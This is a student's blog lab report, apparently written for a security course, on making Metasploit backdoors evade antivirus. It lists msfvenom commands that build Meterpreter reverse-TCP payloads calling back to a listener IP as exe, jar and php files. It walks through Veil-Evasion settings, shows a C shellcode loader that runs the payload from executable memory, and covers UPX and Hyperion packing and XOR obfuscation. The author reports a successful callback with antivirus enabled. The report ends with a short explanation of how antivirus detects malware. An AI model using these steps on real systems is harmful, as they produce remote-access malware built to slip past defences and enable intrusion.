zhyy's_daddy

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

一、实验内容

1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2)通过组合应用各种技术实现恶意代码免杀

3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本


 

二、实验步骤

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

一、正确使用msf编码器,生成exe文件

1、使用VirusTotal或Virscan这两个网站对实验二生成的后门程序进行扫描。

VirusTotal:

Virscan:

 由此可见,未经处理的后门程序基本上都能被查杀到。

2、使用十次编码的指令,其中-e是选择的编码器,-p是payload需要被清除的字符,-i用来指迭代次数,这里需要去掉的字符为‘\x00’,因为其为shellcold的结束符。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.215.128 LPORT=4311 -f exe > 164311.exe

3、再次扫描,查看结果。

Virscan:

VirusTotal:

可以说,差别不大。

4、分析原因:

无论迭代几次,必然存在解码器,只需要考虑到解码器的特征码加以查杀即可;以某个模板生成的后面程序除了解码器外,可能本身也具有该模板所共有的特征。

二、msfvenom生成jar文件

1、使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT=4311 x> 164311_backdoor.jar 生成java后门程序

2、扫描结果

三、msfvenom生成php文件

1、使用命令 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT=4311 x> 164311_backdoor.php 生成Php后面程序

2、扫描结果

 四、使用veil-evasion生成后门程序及检测

1、安装vail, sudo apt-get install veil-evasion 。并用 veil 打开vail,输入y继续安装。

2、用 use evasion 命令进入Evil-Evasion

3、用 use c/meterpreter/rev_tcp.py 命令进入配置界面

4、用命令 set LHOST=192.168.215.128 和 set LPORT=4311 设置反弹连接的ip,也就是kali的ip地址并设置端口号。

5、输入 generate 生成文件并输入payload的名字veil_c_4311。

可以看到保存路径为:/var/lib/veil/output/compiled/

5、扫描结果

五、 半手工注入Shellcode并执行

1、使用命令生成一段c语言的shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT=4311 -f c 

2、创建一个文件main.c,然后将unsigned char buf[]赋值到其中

#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\***省略x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";


int main()
{
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
 }

3、使用命令 i686-w64-mingw32-g++ main.c -o 20164311.exe 将.c作为可执行文件。

4、扫描结果:

任务二 通过组合应用各种技术实现恶意代码免杀

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

1、压缩壳: upx 20164311.exe -o 20164311.exe 

2、扫描结果

 

3、加入白名单并测试是否可以反弹连接。并查看情况。

 

4、加密壳:首先将后面程序拷贝到hyperion.exe所在目录 /usr/share/windows-binaries/hyperion/ ,然后进入该目录并输入命令 wine hyperion.exe -v 20164311.exe 20164311_Hyperion.exe 

5、测试反弹连接并进行扫描。

6、shellcode变形实现恶意代码免杀

在c语言程序里与单一字符异或来避免检测,没有成果。然后在此基础上逆序没有成果,最后在某个网站上看到与x异或的方法竟然成功了。下图任务三用的就是与x异或的后门程序。

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1、回连成功截图:

 2、回连过程遇到的问题:一开始的时候两台电脑无法回连,一开始以为是防火墙的问题,关闭防火墙发现依然无法成功,并ping了对方的主机发现ping不通,经过上网查询,原因可能是两台主机不在同一个网段,随后将网络适配器改成了桥接模式,但是发现还是ping不通....应该是图书馆有多个网段,然后回宿舍继续回连,果然成功了。


 

三、遇到的问题&解决的方法

问题:加了压缩壳和加密壳的后门程序无法上传到网站上检测...并且无法改变该程序的权限...

解决办法:直接在kali内对后门程序进行了检测。


 

四、实验总结

基础问题回答

(1)杀软是如何检测出恶意代码的?

主要有三种方式:

1)第一种是基于特征码的检测,特征码就相当于每一个恶意程序的指纹,是恶意程序区别于其他程序的唯一标志。

2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。

3)第三种是基于行为的恶意软件检测,和启发式的原理是一样的,判断的依据是恶意程序的行为。

(2)免杀是做什么?

免杀就是对恶意程序的代码部分进行一定程度的修改,由于杀毒软件的主要检测方法是基于特征码的检测,故我们免杀的主要工作就是做出病毒库中的还未出现的特征码。

(3)免杀的基本方法有哪些?

使用其他语言对恶意程序进行编译;给恶意程序加冷门壳;对恶意程序的代码进行异或等类似操作。

实验收获和总结

这次实验是在上次实验的基础上进行扩充的,介绍了一个新的概念:免杀。由于我们上次做实验都是在关闭防火墙和杀毒软件的基础上进行的,所以显然相对于本次实验没有实战意义。但考虑到现在主流的杀毒软件的查杀方法应该不止基于特征码这一种,即使在特征码上做手脚也很难保证在基于行为的恶意软件检测中不被查杀到,所以希望能在今后的课堂上继续丰富自己的知识,对免杀有进一步更深刻的了解。

posted on 2019-03-31 11:03  zhyy's_ancestry  阅读(122)  评论(0编辑  收藏